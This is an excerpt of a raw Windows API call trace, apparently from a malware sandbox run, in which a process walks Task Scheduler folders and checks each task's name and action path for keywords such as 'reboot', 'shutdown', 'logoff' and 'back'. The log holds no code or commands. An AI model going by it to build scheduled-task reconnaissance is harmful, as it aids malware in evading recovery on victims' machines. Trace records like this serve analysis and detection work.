	[0068.833] wcsstr (_Str="-z", _SubStr="reboot") returned 0x0
	[0068.833] wcsstr (_Str="-z", _SubStr="restart") returned 0x0
	[0068.833] wcsstr (_Str="-z", _SubStr="shutdown") returned 0x0
	[0068.833] wcsstr (_Str="-z", _SubStr="logoff") returned 0x0
	[0068.833] wcsstr (_Str="-z", _SubStr="back") returned 0x0
	[0068.833] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28b97a8) returned 1
	[0068.833] IUnknown:Release (This=0x19ae10) returned 0x2
	[0068.833] IUnknown:Release (This=0x19ae10) returned 0x1
	[0068.833] IUnknown:Release (This=0x19b928) returned 0x1
	[0068.833] IUnknown:Release (This=0x19b5a8) returned 0x0
	[0068.833] IUnknown:Release (This=0x19b8b8) returned 0x0
	[0068.833] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b8b8) returned 0x0
	[0068.833] IRegisteredTask:get_Name (in: This=0x19b8b8, pName=0x43af860 | out: pName=0x43af860*="StorageSense") returned 0x0
	[0068.833] IRegisteredTask:get_State (in: This=0x19b8b8, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0068.835] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289aee8
	[0068.835] wcsstr (_Str="storagesense", _SubStr="reboot") returned 0x0
	[0068.836] wcsstr (_Str="storagesense", _SubStr="restart") returned 0x0
	[0068.836] wcsstr (_Str="storagesense", _SubStr="shutdown") returned 0x0
	[0068.836] wcsstr (_Str="storagesense", _SubStr="logoff") returned 0x0
	[0068.836] wcsstr (_Str="storagesense", _SubStr="back") returned 0x0
	[0068.836] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aee8) returned 1
	[0068.836] IRegisteredTask:get_Definition (in: This=0x19b8b8, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b5a8) returned 0x0
	[0068.848] ITaskDefinition:get_Actions (in: This=0x19b5a8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b928) returned 0x0
	[0068.848] IActionCollection:get_Count (in: This=0x19b928, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0068.848] IActionCollection:get_Item (in: This=0x19b928, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0068.848] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0068.848] IUnknown:Release (This=0x19ae10) returned 0x1
	[0068.848] IUnknown:Release (This=0x19b928) returned 0x1
	[0068.848] IUnknown:Release (This=0x19b5a8) returned 0x0
	[0068.848] IUnknown:Release (This=0x19b8b8) returned 0x0
	[0068.848] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.848] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0068.849] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0068.849] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.849] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0068.849] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0068.849] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0068.850] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0068.850] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b800) returned 0x0
	[0068.850] IRegisteredTask:get_Name (in: This=0x19b800, pName=0x43af860 | out: pName=0x43af860*="dusmtask") returned 0x0
	[0068.850] IRegisteredTask:get_State (in: This=0x19b800, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0068.850] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892930
	[0068.850] wcsstr (_Str="dusmtask", _SubStr="reboot") returned 0x0
	[0068.850] wcsstr (_Str="dusmtask", _SubStr="restart") returned 0x0
	[0068.850] wcsstr (_Str="dusmtask", _SubStr="shutdown") returned 0x0
	[0068.851] wcsstr (_Str="dusmtask", _SubStr="logoff") returned 0x0
	[0068.851] wcsstr (_Str="dusmtask", _SubStr="back") returned 0x0
	[0068.851] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892930) returned 1
	[0068.851] IRegisteredTask:get_Definition (in: This=0x19b800, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b8c8) returned 0x0
	[0068.869] ITaskDefinition:get_Actions (in: This=0x19b8c8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b918) returned 0x0
	[0068.869] IActionCollection:get_Count (in: This=0x19b918, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0068.869] IActionCollection:get_Item (in: This=0x19b918, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0068.869] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0068.869] IUnknown:QueryInterface (in: This=0x19ae10, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ae10) returned 0x0
	[0068.869] IExecAction:get_Path (in: This=0x19ae10, pPath=0x43af85c | out: pPath=0x43af85c*="%SystemRoot%\\System32\\dusmtask.exe") returned 0x0
	[0068.874] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x46) returned 0x2894b50
	[0068.874] wcsstr (_Str="%systemroot%\\system32\\dusmtask.exe", _SubStr="reboot") returned 0x0
	[0068.874] wcsstr (_Str="%systemroot%\\system32\\dusmtask.exe", _SubStr="restart") returned 0x0
	[0068.874] wcsstr (_Str="%systemroot%\\system32\\dusmtask.exe", _SubStr="shutdown") returned 0x0
	[0068.874] wcsstr (_Str="%systemroot%\\system32\\dusmtask.exe", _SubStr="logoff") returned 0x0
	[0068.874] wcsstr (_Str="%systemroot%\\system32\\dusmtask.exe", _SubStr="back") returned 0x0
	[0068.874] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894b50) returned 1
	[0068.874] IExecAction:get_Arguments (in: This=0x19ae10, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0068.874] IUnknown:Release (This=0x19ae10) returned 0x2
	[0068.874] IUnknown:Release (This=0x19ae10) returned 0x1
	[0068.874] IUnknown:Release (This=0x19b918) returned 0x1
	[0068.874] IUnknown:Release (This=0x19b8c8) returned 0x0
	[0068.874] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.874] IUnknown:Release (This=0x19b558) returned 0x0
	[0068.874] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0068.875] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0068.875] IUnknown:Release (This=0x19b558) returned 0x0
	[0068.875] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0068.875] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0068.875] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0068.951] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=4) returned 0x0
	[0068.951] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b800) returned 0x0
	[0068.951] IRegisteredTask:get_Name (in: This=0x19b800, pName=0x43af860 | out: pName=0x43af860*="EDP App Launch Task") returned 0x0
	[0068.951] IRegisteredTask:get_State (in: This=0x19b800, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0068.951] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2877df8
	[0068.951] wcsstr (_Str="edp app launch task", _SubStr="reboot") returned 0x0
	[0068.951] wcsstr (_Str="edp app launch task", _SubStr="restart") returned 0x0
	[0068.951] wcsstr (_Str="edp app launch task", _SubStr="shutdown") returned 0x0
	[0068.951] wcsstr (_Str="edp app launch task", _SubStr="logoff") returned 0x0
	[0068.951] wcsstr (_Str="edp app launch task", _SubStr="back") returned 0x0
	[0068.951] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877df8) returned 1
	[0068.951] IRegisteredTask:get_Definition (in: This=0x19b800, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b8d8) returned 0x0
	[0068.956] ITaskDefinition:get_Actions (in: This=0x19b8d8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b928) returned 0x0
	[0068.956] IActionCollection:get_Count (in: This=0x19b928, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0068.956] IActionCollection:get_Item (in: This=0x19b928, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0068.957] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0068.957] IUnknown:Release (This=0x19ae10) returned 0x1
	[0068.957] IUnknown:Release (This=0x19b928) returned 0x1
	[0068.957] IUnknown:Release (This=0x19b8d8) returned 0x0
	[0068.957] IUnknown:Release (This=0x19b800) returned 0x0
	[0068.957] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b800) returned 0x0
	[0068.957] IRegisteredTask:get_Name (in: This=0x19b800, pName=0x43af860 | out: pName=0x43af860*="EDP Auth Task") returned 0x0
	[0068.957] IRegisteredTask:get_State (in: This=0x19b800, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.059] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ad30
	[0069.059] wcsstr (_Str="edp auth task", _SubStr="reboot") returned 0x0
	[0069.059] wcsstr (_Str="edp auth task", _SubStr="restart") returned 0x0
	[0069.059] wcsstr (_Str="edp auth task", _SubStr="shutdown") returned 0x0
	[0069.059] wcsstr (_Str="edp auth task", _SubStr="logoff") returned 0x0
	[0069.059] wcsstr (_Str="edp auth task", _SubStr="back") returned 0x0
	[0069.059] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad30) returned 1
	[0069.059] IRegisteredTask:get_Definition (in: This=0x19b800, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b8c8) returned 0x0
	[0069.066] ITaskDefinition:get_Actions (in: This=0x19b8c8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b918) returned 0x0
	[0069.066] IActionCollection:get_Count (in: This=0x19b918, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.066] IActionCollection:get_Item (in: This=0x19b918, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0069.066] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0069.066] IUnknown:Release (This=0x19ae10) returned 0x1
	[0069.066] IUnknown:Release (This=0x19b918) returned 0x1
	[0069.066] IUnknown:Release (This=0x19b8c8) returned 0x0
	[0069.066] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.066] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b800) returned 0x0
	[0069.066] IRegisteredTask:get_Name (in: This=0x19b800, pName=0x43af860 | out: pName=0x43af860*="EDP Inaccessible Credentials Task") returned 0x0
	[0069.066] IRegisteredTask:get_State (in: This=0x19b800, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.066] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x44) returned 0x2894790
	[0069.067] wcsstr (_Str="edp inaccessible credentials task", _SubStr="reboot") returned 0x0
	[0069.067] wcsstr (_Str="edp inaccessible credentials task", _SubStr="restart") returned 0x0
	[0069.067] wcsstr (_Str="edp inaccessible credentials task", _SubStr="shutdown") returned 0x0
	[0069.067] wcsstr (_Str="edp inaccessible credentials task", _SubStr="logoff") returned 0x0
	[0069.067] wcsstr (_Str="edp inaccessible credentials task", _SubStr="back") returned 0x0
	[0069.067] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894790) returned 1
	[0069.067] IRegisteredTask:get_Definition (in: This=0x19b800, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b870) returned 0x0
	[0069.124] ITaskDefinition:get_Actions (in: This=0x19b870, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b8c0) returned 0x0
	[0069.125] IActionCollection:get_Count (in: This=0x19b8c0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.125] IActionCollection:get_Item (in: This=0x19b8c0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19afa8) returned 0x0
	[0069.125] IAction:get_Type (in: This=0x19afa8, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0069.125] IUnknown:Release (This=0x19afa8) returned 0x1
	[0069.125] IUnknown:Release (This=0x19b8c0) returned 0x1
	[0069.125] IUnknown:Release (This=0x19b870) returned 0x0
	[0069.125] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.125] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b800) returned 0x0
	[0069.125] IRegisteredTask:get_Name (in: This=0x19b800, pName=0x43af860 | out: pName=0x43af860*="StorageCardEncryption Task") returned 0x0
	[0069.125] IRegisteredTask:get_State (in: This=0x19b800, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.125] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x36) returned 0x286fa08
	[0069.125] wcsstr (_Str="storagecardencryption task", _SubStr="reboot") returned 0x0
	[0069.125] wcsstr (_Str="storagecardencryption task", _SubStr="restart") returned 0x0
	[0069.125] wcsstr (_Str="storagecardencryption task", _SubStr="shutdown") returned 0x0
	[0069.126] wcsstr (_Str="storagecardencryption task", _SubStr="logoff") returned 0x0
	[0069.126] wcsstr (_Str="storagecardencryption task", _SubStr="back") returned 0x0
	[0069.126] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fa08) returned 1
	[0069.126] IRegisteredTask:get_Definition (in: This=0x19b800, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b8e8) returned 0x0
	[0069.131] ITaskDefinition:get_Actions (in: This=0x19b8e8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aec0) returned 0x0
	[0069.131] IActionCollection:get_Count (in: This=0x19aec0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.131] IActionCollection:get_Item (in: This=0x19aec0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0069.131] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0069.131] IUnknown:Release (This=0x19ae10) returned 0x1
	[0069.131] IUnknown:Release (This=0x19aec0) returned 0x1
	[0069.131] IUnknown:Release (This=0x19b8e8) returned 0x0
	[0069.131] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.131] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.131] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0069.132] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.132] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.132] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.132] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.132] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0069.133] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0069.133] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b8b8) returned 0x0
	[0069.133] IRegisteredTask:get_Name (in: This=0x19b8b8, pName=0x43af860 | out: pName=0x43af860*="MDMMaintenenceTask") returned 0x0
	[0069.133] IRegisteredTask:get_State (in: This=0x19b8b8, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.191] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877e88
	[0069.191] wcsstr (_Str="mdmmaintenencetask", _SubStr="reboot") returned 0x0
	[0069.191] wcsstr (_Str="mdmmaintenencetask", _SubStr="restart") returned 0x0
	[0069.191] wcsstr (_Str="mdmmaintenencetask", _SubStr="shutdown") returned 0x0
	[0069.191] wcsstr (_Str="mdmmaintenencetask", _SubStr="logoff") returned 0x0
	[0069.191] wcsstr (_Str="mdmmaintenencetask", _SubStr="back") returned 0x0
	[0069.191] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0069.191] IRegisteredTask:get_Definition (in: This=0x19b8b8, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b5a8) returned 0x0
	[0069.196] ITaskDefinition:get_Actions (in: This=0x19b5a8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b928) returned 0x0
	[0069.196] IActionCollection:get_Count (in: This=0x19b928, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.196] IActionCollection:get_Item (in: This=0x19b928, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b150) returned 0x0
	[0069.196] IAction:get_Type (in: This=0x19b150, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0069.196] IUnknown:QueryInterface (in: This=0x19b150, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19b150) returned 0x0
	[0069.196] IExecAction:get_Path (in: This=0x19b150, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\MDMAgent.exe") returned 0x0
	[0069.196] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3e) returned 0x2874218
	[0069.196] wcsstr (_Str="%windir%\\system32\\mdmagent.exe", _SubStr="reboot") returned 0x0
	[0069.196] wcsstr (_Str="%windir%\\system32\\mdmagent.exe", _SubStr="restart") returned 0x0
	[0069.196] wcsstr (_Str="%windir%\\system32\\mdmagent.exe", _SubStr="shutdown") returned 0x0
	[0069.196] wcsstr (_Str="%windir%\\system32\\mdmagent.exe", _SubStr="logoff") returned 0x0
	[0069.196] wcsstr (_Str="%windir%\\system32\\mdmagent.exe", _SubStr="back") returned 0x0
	[0069.196] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2874218) returned 1
	[0069.196] IExecAction:get_Arguments (in: This=0x19b150, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0069.197] IUnknown:Release (This=0x19b150) returned 0x2
	[0069.197] IUnknown:Release (This=0x19b150) returned 0x1
	[0069.197] IUnknown:Release (This=0x19b928) returned 0x1
	[0069.197] IUnknown:Release (This=0x19b5a8) returned 0x0
	[0069.197] IUnknown:Release (This=0x19b8b8) returned 0x0
	[0069.197] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.197] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0069.197] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.197] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.197] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.197] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.198] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0069.199] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0069.199] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b860) returned 0x0
	[0069.199] IRegisteredTask:get_Name (in: This=0x19b860, pName=0x43af860 | out: pName=0x43af860*="EnableErrorDetailsUpdate") returned 0x0
	[0069.199] IRegisteredTask:get_State (in: This=0x19b860, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.199] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x32) returned 0x286f708
	[0069.200] wcsstr (_Str="enableerrordetailsupdate", _SubStr="reboot") returned 0x0
	[0069.200] wcsstr (_Str="enableerrordetailsupdate", _SubStr="restart") returned 0x0
	[0069.200] wcsstr (_Str="enableerrordetailsupdate", _SubStr="shutdown") returned 0x0
	[0069.200] wcsstr (_Str="enableerrordetailsupdate", _SubStr="logoff") returned 0x0
	[0069.200] wcsstr (_Str="enableerrordetailsupdate", _SubStr="back") returned 0x0
	[0069.200] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f708) returned 1
	[0069.200] IRegisteredTask:get_Definition (in: This=0x19b860, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b8d0) returned 0x0
	[0069.289] ITaskDefinition:get_Actions (in: This=0x19b8d0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b920) returned 0x0
	[0069.289] IActionCollection:get_Count (in: This=0x19b920, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.289] IActionCollection:get_Item (in: This=0x19b920, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b0d8) returned 0x0
	[0069.289] IAction:get_Type (in: This=0x19b0d8, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0069.289] IUnknown:Release (This=0x19b0d8) returned 0x1
	[0069.289] IUnknown:Release (This=0x19b920) returned 0x1
	[0069.289] IUnknown:Release (This=0x19b8d0) returned 0x0
	[0069.289] IUnknown:Release (This=0x19b860) returned 0x0
	[0069.289] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b860) returned 0x0
	[0069.289] IRegisteredTask:get_Name (in: This=0x19b860, pName=0x43af860 | out: pName=0x43af860*="ErrorDetailsUpdate") returned 0x0
	[0069.289] IRegisteredTask:get_State (in: This=0x19b860, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0069.289] IUnknown:Release (This=0x19b860) returned 0x0
	[0069.289] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.289] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0069.290] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.290] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.290] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.290] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.290] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0069.291] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0069.291] IUnknown:Release (This=0x19b598) returned 0x0
	[0069.291] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0069.292] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=1) returned 0x0
	[0069.292] ITaskFolderCollection:get_Item (in: This=0x19b598, index=0x43af884*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x43af8ac | out: ppFolder=0x43af8ac*=0x19b848) returned 0x0
	[0069.292] ITaskFolder:GetTasks (in: This=0x19b848, flags=0, ppTasks=0x43af84c | out: ppTasks=0x43af84c*=0x19b8e8) returned 0x0
	[0069.293] IRegisteredTaskCollection:get_Count (in: This=0x19b8e8, pCount=0x43af828 | out: pCount=0x43af828*=2) returned 0x0
	[0069.293] IRegisteredTaskCollection:get_Item (in: This=0x19b8e8, index=0x43af7fc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af85c | out: ppRegisteredTask=0x43af85c*=0x19af18) returned 0x0
	[0069.293] IRegisteredTask:get_Name (in: This=0x19af18, pName=0x43af834 | out: pName=0x43af834*="DmClient") returned 0x0
	[0069.293] IRegisteredTask:get_State (in: This=0x19af18, pState=0x43af838 | out: pState=0x43af838*=1) returned 0x0
	[0069.294] IUnknown:Release (This=0x19af18) returned 0x0
	[0069.294] IRegisteredTaskCollection:get_Item (in: This=0x19b8e8, index=0x43af7fc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af85c | out: ppRegisteredTask=0x43af85c*=0x19af18) returned 0x0
	[0069.294] IRegisteredTask:get_Name (in: This=0x19af18, pName=0x43af834 | out: pName=0x43af834*="DmClientOnScenarioDownload") returned 0x0
	[0069.294] IRegisteredTask:get_State (in: This=0x19af18, pState=0x43af838 | out: pState=0x43af838*=1) returned 0x0
	[0069.294] IUnknown:Release (This=0x19af18) returned 0x0
	[0069.294] IUnknown:Release (This=0x19b8e8) returned 0x0
	[0069.294] ITaskFolder:GetFolders (in: This=0x19b848, flags=0, ppFolders=0x43af888 | out: ppFolders=0x43af888*=0x19b8e8) returned 0x0
	[0069.295] ITaskFolderCollection:get_Count (in: This=0x19b8e8, pCount=0x43af87c | out: pCount=0x43af87c*=0) returned 0x0
	[0069.295] IUnknown:Release (This=0x19b8e8) returned 0x0
	[0069.295] TaskScheduler:IUnknown:Release (This=0x19b848) returned 0x0
	[0069.295] IUnknown:Release (This=0x19b598) returned 0x0
	[0069.295] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
